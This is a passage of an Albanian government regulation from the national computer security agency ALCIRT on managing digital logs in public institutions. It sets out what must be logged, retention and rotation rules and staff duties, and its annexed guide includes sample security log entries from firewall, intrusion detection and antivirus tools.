KRYEMINISTRIA

AGJENCIA KOMBËTARE PËR SIGURINË KOMPJUTERIKE (ALCIRT)

RREGULLORE PËR MENAXHIMIN E LOG-EVE DIGJITALE NË ADMINISTRATËN PUBLIKE

Miratuar me Urdhrin nr. 109 datë 10.06. 2016 të Drejtorit të Agjencisë Kombëtare për Sigurinë Kompjuterike (ALCIRT).

Përmbajtje

1. Hyrje

Agjencia Kombëtare për Sigurinë Kompjuterike (ALCIRT) bazuar në Vendimin Nr. 766 datë 14.09.2011, e ndryshuar, në zbatim të pikës 3 gërma d) "Nxjerr rregullat e sigurisë së rrjeteve dhe të sistemeve kompjuterike shtetërore".

2. Qëllimi

Qëllimi i kësaj rregulloreje është që administrata publike të udhëhiqet në praktiken e saj të punës nga zbatimi i rregullave për menaxhimin e log-eve dixhitale në administratën publike:

a) Duke marrë në konsideratë faktin që Qeveria e Republikës së Shqipërisë në programin e saj qeverisës mbështet përdorimin e teknologjisë së informacionit dhe Internetin;

b) Duke konsideruar se menaxhimi i log-eve dixhitale bazuar në rregulla të qarta:

   1. Rrit transparencën në punën e administratës publike;
   2. Ul risqet afatgjata dhe ndihmon në menaxhimin e problemeve dhe incidenteve kibernetike të ndryshme;
   3. Është i domosdoshëm për rritjen e cilësisë në kontrollet/monitorimet e brendshme dhe të jashtme

c) Duke marrë parasysh rritjen e aksesit në Internet nga punonjësit e administratës publike dhe dixhitalizimin e vazhdueshëm të proceseve të punës në administratën publike;

d) Duke konsideruar të rëndësishme etikën profesionale të administratës publike për të mundësuar sigurinë e informacionit, transparencën ndaj publikut, cilësinë e shërbimit, besueshmërinë dhe performancën e proceseve të punës si edhe integritetin edhe publikimin e informacionit sipas legjislacionit në fuqi;

e) Për të shmangur anët negative të përdorimit të Internetit dhe sistemeve TIK nga abuzimet e ndryshme që mund të ndodhin gjatë proceseve të punës duhet të:

   1. Identifikohen problemet që mund të lindin si pasojë e përdorimit pa kriter të shërbimit të Internetit që mundësohet nga institucionet shtetërore;
   2. Identifikohet çdo veprim dixhital i kryer nga punonjës të administratës shtetërore gjatë proceseve të punës mbi sistemet dixhitale që kanë lidhje me proceset e punës

3. Përkufizime

Në kuptim të kësaj rregulloreje, termat e mëposhtëm do të kenë kuptimet që vijojnë:

- *Log* Konsiderohet çdo shënim dixhital mbi një ngjarje ose aktivitet të caktuar.
- *Server* Sistemi kompjuterik (Hardware dhe Software) i cili ofron shërbime të ndryshme në rrjet.
- *Antivirus / Antispyware/ Antimalware*- programe të cilat bëjnë të mundur kontrollimin, identifikimin, eliminimin e programeve kompjuterike të dëmshme të instaluara në kompjutera (virus, trojan etj).
- *Firewall* Pajisje apo një program kompjuterik që është i konfigururar për të kontrolluar trafikun që kalon nëpër rrjet, duke e lejuar apo bllokuar atë në bazë të një grupi rregullash.
- *Incident Kompjuterik* – ngjarje e ndodhur në një kompjuter dhe që dëmton konfidencialitetin, integritetin apo disponueshmërinë e një kompjuteri apo sistemi; apo të dhënat që ai mban.
- *TIK* Teknologjia e informacionit dhe komunikimit.
- *Storage* Memorie kompjuterike të cilat përdoren për ruajtjen masive të të dhënave.
- *Software* Programe kompjuterike.
- *VPN* Rrjete private virtuale të cilat ofrojnë siguri të lartë.
- *Web Proxies* Aplikacione të cilat lehtësojnë aksesin në Internet.
- *Routera* Pajisje rrjeti të cilat bëjnë menaxhimin dhe dërgimin e paketave të Rrjetit.
- *Username* Varg karakteresh që identifikon ne mënyrë unike një përdorues në një sistem apo rrjet kompjuterik.
- *Password* Fjalëkalim, kod sekret i një përdoruesi që nuk duhet të njihet nga përdoruesit e tjerë, dhe që i përdorur bashkë me Username, lejon aksesimin e një sistemi.

- *IPS* Sisteme për parandalimin e sulmeve kibernetike të cilat monitorojnë rrjetat ose sistemet kompjuterike.
- *Parsing* Procesi i analizimit të të dhënave për të verifikuar nëse janë konform rregullave.
- *TLS* Protokoll kriptografik i cili ofron siguri për transportin e të dhënave në Internet
- *COTS* Aplikacione komerciale të cilat nuk mund të zhvillohen më tej dhe që mund të përdoren për rastet kur duhet një aplikacion i personalizuar.
- *IP* Adresë elektronike e përbërë nga një numër prej 32 bitesh.
- *UDP* Protokoll rrjeti i cili përdoret në rastet kur nuk nevojitet një transferim i besueshëm.
- *FTP* Teknologji e cila lejon transferimin e skedarëve në Internet.

4. Të Përgjithshme

Në këtë seksion përcaktohen rregulla të përgjithshme që duhet të jenë të qarta për çdo punonjës përgjegjës për menaxhimin e log-eve të administratës publike. Institucionet shtetërore janë përgjegjëse për informacionin që ato trajtojnë. Për këtë arsye ato janë të detyruara të aplikojnë një sërë rregullash dhe procedurash për ruajtjen e integritetit dhe konfidencialitetit të informacionit.

a) Institucioni duhet të përcaktojë një rregullore të shkruar për menaxhimin e log-eve sipas kërkesave të institucionit. Kjo rregullore duhet të specifikojë qartë të gjitha kërkesat për ruajtjen e log-eve përkatëse për çdo sistem/pajisje të institucionit, procedurat e administrimit dhe përgjegjësitë në përputhje me këtë rregullore dhe legjislacionin në fuqi.

b) Log-et për çdo veprim të kryer në sistemet e institucionit duhet të ruhen minimalisht sipas afateve të legjislacionit në fuqi. Kjo përfshin edhe log-et e softwareve të tipit antivirus, anti-spyware, pajisjeve të rrjetit etj.

c) Log-et duhet të ruhen në ambiente të cilat kanë sigurinë e nevojshme fizike dhe janë të mbrojtura nga lagështira, fushat magnetike, zjarri etj.

ç) Log-et duhet të ruhen nga aksesi prej personave të paautorizuar në mënyrë që të sigurohet integriteti, konfidencialiteti dhe besueshmëria e tyre.

d) Institucioni duhet të garantojë burimet e nevojshme për një menaxhim të log-eve në përputhje me këtë rregullore.

e) Transferimi i log-eve nëpërmjet rrjetit duhet të bëhet i enkriptuar kur është e mundur.

f) Është i ndaluar kopjimi/ruajtja e log-eve jashtë infrastrukturës së përcaktuar sipas rregullave, përveç rasteve të emergjencës.

g) Rregullorja e log-eve duhet të përcaktojë qartësisht një pajisje tek e cila do të bëhet sinkronizimi i kohës për të gjithë sistemet/pajisjet e institucionit që ruajnë log-e.

5. Aktivitetet për të cilat do të mbahen log-e

Log-et do të mbahen sa herë që do të kërkohet të kryhet një nga aktivitet e mëposhtme prej sistemit:

a) Krijim, lexim, modifikim ose fshirje e informacionit konfidencial (personal), përfshirë edhe informacionin konfidencial si fjalëkalimi.
b) Krijim, modifikim ose fshirje e informacionit që nuk është përfshirë në pikën a).
c) Fillimi i një lidhje rrjeti.
d) Pranimi i një lidhje rrjeti.
e) Autentikimi dhe autorizimi i përdoruesve për aktivitet e mbuluara tek pika a) dhe b) si login dhe logout.
f) Dhënia, modifikimi ose heqja e të drejtave të aksesit siç janë shtimi i një përdoruesi ose grupi, ndryshimi i niveleve të privilegjeve, ndryshimi i autorizimit mbi një skedar, ndryshimi i autorizimit mbi bazën e të dhënave, ndryshimi i rregullave të firewallit dhe ndryshimi i fjalëkalimit.
g) Ndryshimet në sistem, rrjet ose konfigurim ku përfshihet dhe instalimi i përditësime-ve ose patch-ve të ndryshëm.
h) Fillimi, ndalimi ose rifillimi (restart) i një aplikacioni.
i) Ndërprerja, dështimi ose përfundimi i papritur i procesit të një aplikacioni, veçanërisht në rastet kur ka arritur mbarimi i burimeve ose kufiri maksimal i një burimi (CPU, memorja, numri i lidhjeve të rrjetit, bandwidth-i i rrjetit, hapësira në disk ose burime të tjera).
j) Detektimi i aktiviteteve të rrezikshme nga ana e IDS/IPS, Firewall, antiviruseve, anti-spyware etj.

5.1 Elementët e Log-eve

Log-et duhet të përmbajnë në mënyrë të drejtpërdrejtë ose të tërthortë elementët e mëposhtëm.

a) Tipin e veprimit – për shembull akses, krijim, modifikim, lexim, fshirje ose pranim lidhje rrjeti.
b) Nënsistemet që kryejnë veprimin- për shembull përfshirja e emrit të procesit ose transaksionit dhe identifikuesit të tij.
c) Identifikuesit (sa më shumë të jetë e mundur) për subjektin që kërkon një veprim – për shembull emrin, emrin e kompjuterit, IP, MAC. Këta identifikues duhen standartizuar në mënyrë që të thjeshtojnë lidhjen e log-eve.
d) Vlerat para dhe pas modifikimit të një elementi, nëse është e mundur.
e) Kohën dhe datën e veprimit së bashku me time-zone nëse nuk janë në Kohën Universale të Koordinuar (Cordinated Universal Time).
f) Nëse veprimi u lejua apo ndalua nga mekanizmat e kontrollit të aksesit.
g) Arsyet pse një veprim u ndalua nga mjetet e aksesit të kontrollit kur është e mundur.

5.2 Infrastruktura e Menaxhimit të Log-eve dhe Detyrat e Stafit Përgjegjës për Menaxhimin e Log-eve

Bazuar ne pikën e) të paragrafit 4 të kësaj rregulloreje institucioni është përgjegjës për garantimin e burimeve të nevojshme për menaxhimin e log-eve në përputhje me këtë rregullore. Pjesë kryesore për një menaxhim cilësor të log-eve është infrastruktura e menaxhimit të log-eve. Si rrjedhim stafi përgjegjës për menaxhimin e logeve duhet të ketë eksperiencën dhe trajnimin e nevojshëm për një menaxhim sa më cilësor të log-eve.

5.2.1 Infrastruktura e Menaxhimit Të Log-eve

a) Në varësi të burimeve dhe specifikave të institucionit infrastruktura e log-eve mund të jetë:

1) **Qëndrore.** Mbas gjenerimit, log-et transmetohen në mënyrë të sigurtë në një (ose disa) server qëndror ku më pas kalojnë në procedura të tjera si lidhja (correlation), rotacioni, analizimi dhe arkivimi.

2) **Lokale.** Mbas gjenerimit log-et ruhen lokalisht. Aksesi i tyre bëhet lokalisht, për rastet e analizave, ose në mënyrë remote pas një procesi strikt autentikimi dhe autorizimi.

3) **Hibride.** Mbas gjenerimit loget ruhen lokalisht, por një kopje e tyre transmetohet në mënyrë të sigurtë edhe në një server qëndror. Kjo lejon besueshmëri maksimale pasi shërben edhe si backup dhe njëkohësisht lejon avantazhet e infrastrukturës qëndrore. Gjithashtu aksesi është më praktik.

a. Në çdo rast infrastruktura e log-eve të institucionit duhet të ketë të implementuar minimalisht 4 funksione mbi log-et:

1) **Analiza.** Analiza periodike duhet të kryhen nga stafi përgjegjës mbi log-et. Kur është e mundur analizat duhet të përfshijnë edhe llogjikën e punës së institucionit, veprim i cili mund të sjelli identifikimin e problemeve afatgjata dhe/ose përmirësimin e shërbimit ndaj qytetarit. Analizat mbi loget e sigurisë janë të **detyrueshme** të kryhen në mënyrë periodike, intervali i këtyre analizave të jetë minimalisht sa koha minimale e ruajtjes së logeve e specifikuar në pikën b) të paragrafit 4 të kësaj rregulloreje.
2) **Rotacioni.** Një skedar i ri log-esh fillon sa herë që arrihet një madhësi e caktuar ose kalon një afat i caktuar. Në çdo rast kjo madhësi nuk duhet të kalojë **100MB** ose koha të kalojë **3 muaj kalendarik.**
3) **Arkivimi.** Arkivimi i logeve mund të bëhet pasi kalon koha e caktuar në pikën b) të paragrafit 4 të kësaj rregulloreje. Arkivimi duhet të kryhet në pajisje të caktuara për këtë detyrë (tape, CD/DVD, hard-disqe). Pajisjet duhet të ruhen në ambiente të sigurta dhe të ofrojnë sigurinë nga aksesi i paauorizuar. Log-et e vjetra mund të fshihen mbas afatit të caktuar në pikën b) të paragrafit 4.
4) **Backup.** Përveç rastit kur infrastruktura është hibride e cila lejon natyrshëm krijimin e një backup-i, në rastet e tjera është i detyrueshëm një backup i log-eve për rastet e emergjencës. Backup-i duhet të bëhet në intervale të caktuara, por asnjëherë ky interval nuk duhet të kalojë **një javë kalendarike.** Pajisjet ku ruhet backup-i duhet të ruhen në ambiente të sigurta dhe të ofrojnë sigurinë nga aksesi i paautorizuar.

b. Në rastet kur në infrastrukturën e menaxhimit të log-eve janë implementuar software të ndryshëm për menaxhimin e log-eve ato duhet të jenë të një prej llojeve të mëposhtme (për më shumë referoju kapitujve **3.3** dhe **3.4** të "Udhëzuesit për menaxhimin e log-eve", aneks i kësaj rregulloreje) :

1) **Syslog-based.** Këto sisteme janë të thjeshta në përdorim. Ato përcaktojnë për secilin log tipin e tij dhe prioritetin e log-ut. Nëse zgjidhet ky tip software për menaxhimin e log-eve duhet patur parasysh të përdoren versione të cilat implementojnë siguri në transmetimin dhe besueshmëri në gjenerimin e log-eve.
2) **Softwaret për informacionin e sigurisë dhe menaxhimin e ngjarjeve (SIEM).** Këto sisteme lejojnë menaxhim të qendërzuar të log-eve. Janë sisteme që ofrojnë siguri dhe

besueshmëri në menaxhimin e log-eve. Gjithashtu ofrojnë dhe funksionalitete të ndryshme për analizën dhe raportimin e log-eve.

5.2.2 Detyrat e Stafit Përgjegjës për Menaxhimin e Log-eve

Institucioni duhet të sigurojë që stafi përgjegjës për menaxhimin e log-eve të ketë aftësitë dhe kapacitetin e nevojshëm për kryerjen e kësaj detyre. Detyrat e këtij stafi përfshijnë minimalisht:

Stafi përgjegjës për menaxhimin e log-eve duhet të përcaktojë një plan të qartë se si do ta realizojë këtë detyrë (mund të përdoret kapitulli 4 i "Udhëzuesit për menaxhimin e log-eve", aneks i kësaj rregulloreje.

a) Stafi përgjegjës për menaxhimin e log-eve është përgjegjës për ruajtjen dhe fshirjen e log-eve sipas kësaj rregulloreje.
b) Stafi përgjegjës për menaxhimine sigurisë së log-eve është përgjegjës për sigurinë e log-eve e cila përfshin minimalisht:

    1) Limitimin e aksesit mbi log-et vetëm tek personat e autorizuar.
    2) Mbrojtjen e log-eve të arkivuar.
    3) Monitorimin dhe vazhdueshmërinë e procesit të gjenerimit të log-eve.
    4) Kryerjen e analizave periodike mbi log-et e sigurisë.

c) Stafi përgjegjës për menaxhimin e sigurisë së log-eve gjithashtu bën menaxhimin e incidenteve të ndryshmë që mund të ndodhin në procesin e gjenerimit, transferimit ose ruajtjes së log-eve.
d) Merr masa për rastet e ndërprerjes së gjenerimit të logeve.
e) Mirëmban softwaret e përdorura për menaxhimin e log-eve duke instaluar dhe konfiguruar përditësim-et ose patch-et e ndryshme.

6. Sanksionet

Moszbatimi i kësaj rregulloreje përbën shkelje dhe ndëshkohet me masë disiplinore.

7. Hyrja në Fuqi

Kjo rregullore hyn në fuqi pas publikimit në Buletinin e Njoftimeve Publike.

Aneksi 1

Udhëzues

Për menaxhimin e log-eve dixhitale

1. Përmbledhje

Një log është një shënim dixhital mbi një ngjarje ose aktivitet brenda sistemeve dhe rrjetave të një institucioni publik. Log-et përbëhen nga hyrjet e log-eve: ku çdo hyrje përmban informacion për një ngjarje specifike të ndodhur brenda një sistemi ose rrjeti. Shumëlog-e brenda një institucioni mund të përmbajnë informacion në lidhje me sigurinë kompjuterike. Këto log-e për sigurinë kompjuterike gjenerohen nga shumë burime, përfshirë programe sigurie si antiviruse, firewall dhe sisteme për monitorimin dhe parandalimin e ndërhyrjeve, sisteme operimi ne servera, kompjutera, pajisje rrjeti, aplikacione të ndryshme.

Numri, sasia dhe llojet e log-eve për sigurinë kompjuterike janë rritur shumë, si rrjedhojë është bërë e nevojshme të bëhet menaxhimi i tyre, proces i cili ka të bëjë me gjenerimin, transmetimin, ruajtjen, analizimin dhe fshirjen e log-eve për sigurinë kompjuterike. Menaxhimi i log-eve është faktor kyç në mënyrë që rekordet për sigurinë kompjuterike të ruhen me detajet e mjaftueshme dhe për periudhën e nevojshme kohore. Analizat rutinë të log-eve janë te nevojshme për identifikim e incidenteve të sigurisë, thyerjen e politikave të sigurisë, aktivitetin e paligjshëm, probleme operacionale. Log-et janë të nevojshme edhe në kryerjen e analizave të kontrollit ose ligjore, mbështetjen e hetimeve të brendshme dhe identifikimin e problemeve operacionale ose problemeve afatgjata.

Një problem themelor në menaxhimin e log-eve në shumë institucione publike është vendosja e një ekuilibri efiçnt mes burimeve të vogla që vihen në dispozicion për ruajtjen e log-eve me sasinë e vazhdueshme të të dhënave që gjenerohen. Gjenerimi i log-eve dhe ruajtja e tyre mund të komplikohet nga shumë faktorë si: një numër i madh burimesh për log-e, informacion jokonsistent, formati si dhe koha e regjistrimit. Menaxhimi i log-eve gjithashtu përfshin mbrojtjen e konfidencialitetit, integritetit dhe aksesin mbi log-et. Një tjetër problem në menaxhimin e log-eve është të sigurohet që të kryhen analiza të rregullta nga administratorët e log-eve. Ky dokument ndihmon në arritjen e këtyre objektivave në menaxhimin e log-eve.

Implementimi dhe ndjekja e rekomandimeve të mëposhtme do tëndihmojë agjencitë dhe institucionet publike në një menaxhim efiçent të log-eve.

Institucionet publike duhet të vendosin politika dhe procedura të caktuara në menaxhimin e log-eve.

Në vendosjen dhe ndjekjen me sukses të procesit të menaxhimit të log-eve, një institucion publik duhet të krijojë procedura standarte në menaxhimin e log-eve. Si pjesë e planifikimit një institucion publik duhet të caktojë nevojat dhe qëllimet e tij për log-et. Bazuar në to një institucion publik duhet të krijojë politikat dhe procedurat e detyrueshme që duhen ndjekur si edhe rekomandime për menaxhimin e log-eve që duhet të përfshijnë gjenerimin e log-eve, transmetimin, ruajtjen, analizimin si dhe fshirjen e log-eve në përputhje me legjislacionin në fuqi. Menaxhimi i

institucionit publik duhet të sigurohet që procesi i menaxhimit të log-eve të ketë mbështetjen e nevojshme.

Kërkesat dhe rekomandimet për log-et duhet të krijohen në përputhje me teknologjinë dhe burimet që nevojiten për ruajtjen e tyre, në përputhje me kërkesat për sigurinë dhe integritetin si dhe me kuadrin ligjor përkatës që institucioni publik vepron (psh. auditimi i brëndshëm). Përgjithësisht institucionet publike kërkojnë mbajtjen dhe analizimin e log-eve për të dhënat e rëndësisë së veçantë për institucionin, dhe ndjekin procedura jokushtëzuese ose rekomandime për pjesën tjetër të log-eve në rastet kur burimet janë të mjaftueshme. Në disa raste institucionet publike zgjedhin të ruajnë të gjitha log-et e gjeneruara, ose gati të gjitha, për një kohë të shkurtër. Ruajtja e të gjitha log-eve favorizon sigurinë mbi menaxhimin e burimeve dhe në disa raste rezulton në një vendimmarrje më efikase. Në përcaktimin e procedurave dhe rekomandimeve institucionet duhet të tregohen fleksibël sepse log-et ndryshojnë nga sistemi në sistem si dhe nga sasia e gjeneruar dhe koha e ruajtjes.

Institucionet publike duhet t'i japin prioritet menaxhimit të log-eve

Pasi një institucion publik ka përcaktuar kërkesat dhe qëllimet e tij për log-e, atij i duhet të përcaktojë dhe t'i japë prioritet kërkesave dhe qëllimeve të tij në uljen e riskut për menaxhimin e tyre si dhe të përcaktojë burimet e nevojshme për këtë qëllim. Një institucion publik gjithashtu duhet të përcaktojë rolin dhe detyrat e personelit i cili do të merret me menaxhimin e log-eve.

Institucioni publik duhet të zhvillojë dhe të mirëmbajë një infrastrukturë për menaxhimin e log-eve

Një infrastrukturë për menaxhimin e log-eve përfshin hardware, software, rrjetat dhe mjedisi (hardisk, tape, DVD etj) që do të përdoret për gjenerimin, transmetimin, analizimin dhe fshirjen e të dhënave të log-eve. Infrastruktura e menaxhimit të log-eve përgjithësisht kryen disa funksione që mbështesin analizimin dhe sigurinë e të dhënave të log-eve. Pas përcaktimit të një politike fillestare për menaxhimin e log-eve si dhe detyrave dhe përgjegjësive përkatëse, një institucion publik duhet të ngrejë dhe të mbeshtesë një infrastrukturë të përshtatshme për realizimin e tyre. Institucionet publike duhet të fokusohen në ngritjen e infrastrukturave të cilat përfshijnë server qëndror log-esh të shoqëruar me storage përkatës. Në dizenjimin e këtyre infrastrukturave institucionet publike duhet të kenë parasysh situatën aktuale si edhe situatat në të ardhmen, por edhe burimet e tjera të log-eve që mund të lindin në vazhdimësi. Faktorët mbi të cilët duhet të bazohet dizenjimi janë: sasia e log-eve që do të procesohen, kërkesat e sigurisë mbi këto log-e, kapaciteti i rrjetave, kujtesat online dhe offline, koha dhe burimet që i nevojiten stafit për analizimin e tyre.

Institucionet publike duhet t'i japin mbështetjen e nevojshme stafit në menaxhimin e log-eve.

Në mënyrë që menaxhimi i log-eve të kryhet në mënyrë profesionale për ççdo sistem në veçanti, stafi përgjegjës duhet të ketë mbështetjen e nevojshme nga drejtuesit e institucionit. Kjo përfshin shpërndarjen e informacionit, trajnimet e nevojshme, njohuri mbi legjislacionin përkatës, përcaktimin e pikave të kontaktit, udhëzime teknike, mjete dhe dokumente të ndryshme për aq sa është e mundur.

Institucionet publike duhet të përcaktojnë proceset standarte të menaxhimit të log-eve.

Proceset standarte të menaxhimit të log-eve përgjithësisht përbëhen nga konfigurimi i burimeve të log-eve, kryerja e analizave të log-eve, nisja e përgjigjeve për ngjarje të caktuara që identifikohen, si dhe menaxhimi afatgjatë i kujtesës. Administratorët kanë edhe përgjegjësi të tjera si:

1) Monitorimi i statusit të gjithë burmieve të log-eve.
2) Monitorimi i procesit të rotacionit të log-eve dhe procesit të arkivimit.
3) Monitorimi për përditësime të softwareve që përdoren për log-et si edhe marrja, testimi dhe implementimi i tyre
4) Kontrollon që koha (ora) e secilit burim log-esh të jetë e sinkronizuar.
5) Rikonfigurimi i log-eve kur ndryshojnë politikat, teknologjia ose faktorë të tjerë
6) Dokumentimi dhe raportimi i anomali në rregullat e mbajtjes së log-eve, konfigurimit dhe proceseve.

2. Qëllimi dhe Fusha E Zbatimit

Ky udhëzues ka për qëllim të ndihmojë institucionet publike të kuptojnë dhe zbatojnë sa më mirë "Rregullore për Menaxhimin e Log-eve Dixhitale në Administratën Publike" për një menaxhim sa më efikas të log-eve. Ai jep udhëzime praktike në mënyrë që një institucion të zhvillojë, implementojë dhe mirëmbajë procedura që ndihmojnë në menaxhimin e log-eve, krijimin dhe zhvillimin e infrastrukturës, dhe performancës në menaxhimin e log-eve. Ky udhëzues trajton teknologjitë për menaxhimin e log-eve në përgjithësi, ai nuk është një manual për implementimin hap pas hapi të tyre. Në asnjë rast ai nuk prevalon mbi legjislacionin në fuqi.

3. Subjekti

Ky publikim është krijuar për stafin e sigurisë kompjuterike, menaxherët, administratorët e sistemeve, rrjetave dhe aplikacioneve, CIRT, ose të tjerë që kanë lidhje me menaxhimin e log-eve në institucionet publike.

4. Struktura e Udhëzuesit

Dokumenti përmban 4 kapituj teknik. Kapitulli 1 jep një hyrje mbj menaxhimin e log-eve dhe pse duhet, Kapitulli 2 jep pjesët, arkitekturën dhe funksionet e infrastrukturës të menaxhimit të log-eve. Kapitulli 3 jep rekomandime për planifikimin e menaxhimit të log-eve, përcaktimin e detyrave

dhe përgjegjësive dhe krijimin e politikave efikase. Kapitulli 4 jep proceset që një institucion publik duhet të krijojë që të bëjë një menaxhim të mirë logesh.

Kapitulli I

1. Hyrje në Menaxhimin e log-eve të Sigurisë Kompjuterike

Një log është një shënim për një ngjarje ose aktivitet të ndodhur në një nga sistemet ose rrjetat e institucionit. Log-et përbëhen nga hyrjet e log-eve ku çdo hyrje përmban informacion të caktuar për një ngjarje. Fillimisht log-et janë përdorur për të ndihmuar në zgjidhjen e probleve të ndryshme, por më pas ato janë përdorur edhe në funksione të tjera si optimizimi i sistemeve, rritje performance, ruajtje të veprimeve të përdoruesve, hetimi i veprimeve dashakeqe nga organet kompetente. Log-et kanë evoluar në mënyrë që të ruajnë shumë kategori ngjarjesh që ndodhin nëpër sisteme. Brenda një institucioni publik log-et mbajnë shumë informacion për sigurinë kompjuterike. Në to hyjnë psh përpjekjet për t'u autentifikuar dhe pajisjet e rrjetit mbajne log-e me anë të të cilave mund të kuptohen sulme të ndryshme që janë bërë mbi rrjetin e institucionit.
Për shkak të rritjes së madhe të përdorimit të rrjetave, serverave, shtimit të posteve të punës në këto rrjeta si edhe pajisjeve që përdoren prej tyre është rritur ndjeshëm numri i kërcënimeve kibernetike që ka sjellë dhe rritjen drastike të log-eve që lidhen me sigurinë kompjuterike. Kjo ka bërë të domosdoshëm procesin e menaxhimit të log-eve që përbëhet nga gjenerimi, transmetimi, ruajtja dhe fshirja e log-eve.

1.2 Log-et për Sigurinë Kompjuterike

Log-et mund të mbajnë informacione të ndryshme rreth ngjarjeve specifike të ndodhura në sistemet dhe rrjetat. Në këtë kapitull do diskutohen këto dy kategori log-esh:

a) Log-et e sigurisë që mbajnë informacione të lidhura me sigurinë e sistemeve
b) Log-et e sistemit të operimit dhe log-et e aplikacioneve, të cilat përmbajnë një shumëllojshmëri informacionesh, përfshirë ato të lidhura me sigurinë.

Në kushte të ndryshme shumë log-e të krijuara në një institucion mund të kenë lidhje me sigurinë kompjuterike. Psh. shumë log-e të krijuara nga pajisjet e rrjetit si routera dhe switche ose nga programe për monitorimin e rrjetit mund të ruajnë të dhëna të cilat kanë përdorim në fushën e sigurisë siç mund të jenë auditet ose përputhshmëria me rregulloret në fuqi. Megjithatë këto log-e trajtohen si log-e të cilët përdoren nëse lind nevoja dhe nuk kanë sigurinë si qëllim primar. Në këtë dokument ne do të trajtojmë ato lloj log-esh të cilat konsiderohen si të rëndësishme në fushën e sigurisë kompjuterike. Institucionet publike duhet të kenë parasysh burimet e ndryshme të log-eve kur janë duke krijuar infrastrukturën dhe politikat e tyre në menaxhimin e log-eve.

Shumë nga burimet e log-eve funksionojnë në vazhdimësi dhe prodhojnë vazhdimisht log-e. Disa të tjera ekzekutohen në mënyrë periodike dhe ekzekutohen si një bashkësi funksionesh duke rritur

cilësinë e tyre në rastin e trajtimit të incidenteve. Në kapitujt më poshtë do të diskutohen lloji i dytë.

1.1.1 Software-t e Sigurisë

Shumë institucione përdorin tipe të ndryshme softesh sigurie në rrjetat dhe serverat e tyre për të zbuluar sulme dashakeqe, mbrojtur sistemet dhe të dhënat, ndihmuar në hetimin e incidenteve. Këto software janë një burim i madh dhe i rëndësishëm i log-eve të sigurisë. Ato përbëhen nga disa lloje ku përfshihen:

a) **Antimalware Software.** Softwaret më të njohura të këtij tipi janë antiviruset, të cilët detektojnë dhe krijojnë log-e për të gjitha sulmet e kapura të ndodhura në sistem, tentativat për pastrim si dhe skedarët e futur në karantinë. Ato gjithashtu krijojnë log-e sa herë që dikush skanon sistemin, ose sa herë që vetë antivirusi përditëson listën e rreziqeve.

b) **Sistemet e detektimit dhe parandalimit të ndërhyrjeve.** Këto sisteme krijojnë log-e për çdo veprim të dyshimtë të ndodhur në sistem, ççdo sulm të detektuar si edhe ççdo veprim tjetër të kryer prej tyre për rritjen e sigurisë së sistemit. Disa sisteme të parandalimit të ndërhyrjeve, siç janë softwaret për kontrollin e integritetit të skedarëve, ekzekutohen në mënyrë periodike dhe krijojnë një seri logesh.

c) **Softwaret për akses në distancë.** Aksesi në distancë përgjithësisht jepet nëpërmjet përdorimit të rrjetave private (VPN). VPN-të përgjithsisht ruajnë loge për ççdo përpjekje autentifikimi, të dështuar ose të sukseshme, kohën dhe datën e secilës lidhje dhe shkëputje, si edhe sasinë e të dhënave të transmetuara në ççdo sesion. Gjithashtu disa VPN, të cilat ofrojnë kontroll aksesi granular siç është SSL mbajnë informacion të detajuar për burimet e përdorura.

d) Web Proxies. Janë hoste të ndërmjetme për aksesimin e faqeve web. Ato bëjnë kërkesa tek faqet e webit për llogari të përdoruesve dhe e bëjnë aksesin e web site më eficent. Mund të përdoren për të reduktuar aksesin dhe rritur mbrojtjen mes klientit dhe serverit. Web proxiet mbajnë log për ççdo URL që vizitohet.

e) Serverat e Autentikimit. Këta servera mbajnë loge për ççdo perpjekje autentikimi, ku përfshihet origjina, emri i përdoruesit, suksesi apo dështimi i autentikimit, koha dhe data.

f) **Routerat**. Routerat mund të konfigurohen për të bllokuar një pjesë të trafikut bazuar në politika të caktuara. Kur konfigurohen për bllokim trafiku përgjithësisht ruajnë karakteristikat themelore të aktivitetit të bllokuar.

g) Firewalls. Po ashtu si routerat edhe firewallet mund të konfigurohen të bllokojnë ose lejojnë aktivitete të caktuara duke rritur ndjeshëm nivelin e kompleksitetit.. Firewallet mund të kryejnë edhe inspektim të përmbajtjes së trafikut të rrjetit. Ata gjithashtu gjenerojnë loge mjaft më të detajuara për aktivitet e dyshuara si dashakeqe.

Figura 1-1 jep shembuj për disa loge

Intrusion Detection System [**] [1:1407:9] SNMP trap udp [**] [Classification: Attempted Information Leak] [Priority: 2] 03/06-8:14:09.082119 192.168.1.167:1052 -> 172.30.128.27:162 UDP TTL:118 TOS:0x0 ID:29101 IpLen:20 DgmLen:87 Personal Firewall 3/6/2006 8:14:07 AM,"Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)).","Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)). Inbound TCP connection. Local address, service is (KENT (172.30.128.27), netbios-ssn(139)). Remote address, service is (192.168.1.54, 39922). Process name is ""System""." 3/3/2006 9:04:04 AM, Firewall configuration updated: 398 rules.Firewall configuration updated: 398 rules. Antivirus Software, Log 1 3/4/2006 9:33:50 AM,Definition File Download,KENT,userk,Definition downloader 3/4/2006 9:33:09 AM,AntiVirus Startup,KENT,userk,System 3/3/2006 3:56:46 PM,AntiVirus Shutdown,KENT,userk,System Antivirus Software, Log 2 240203071234,16,3,7,KENT,userk,,,,,,,16777216,"Virus definitions are current.",0,,0,,,,,0,,,,,,,,,,SAVPROD,{ xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx },End User,(IP)-192.168.1.121,,GROUP,0:0:0:0:0:0:0,9.0.0.338,,,,,,,,,,,,,,, Antispyware Software DSO Exploit: Data source object exploit (Registry change, nothing done) HKEY_USERS\S- 1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3

Figura 1-1. Shembuj të log-eve të sigurisë[1].

1.1.2 Sistemet e Operimit

Sistemet e operimit për serverat, postet e punës, routerat ose pajisjet e tjera të rrjetit gjenerojnë kategori të ndryshme logesh. Më të shpeshtat e këtyre log-eve, që kanë lidhje me sigurinë, janë:

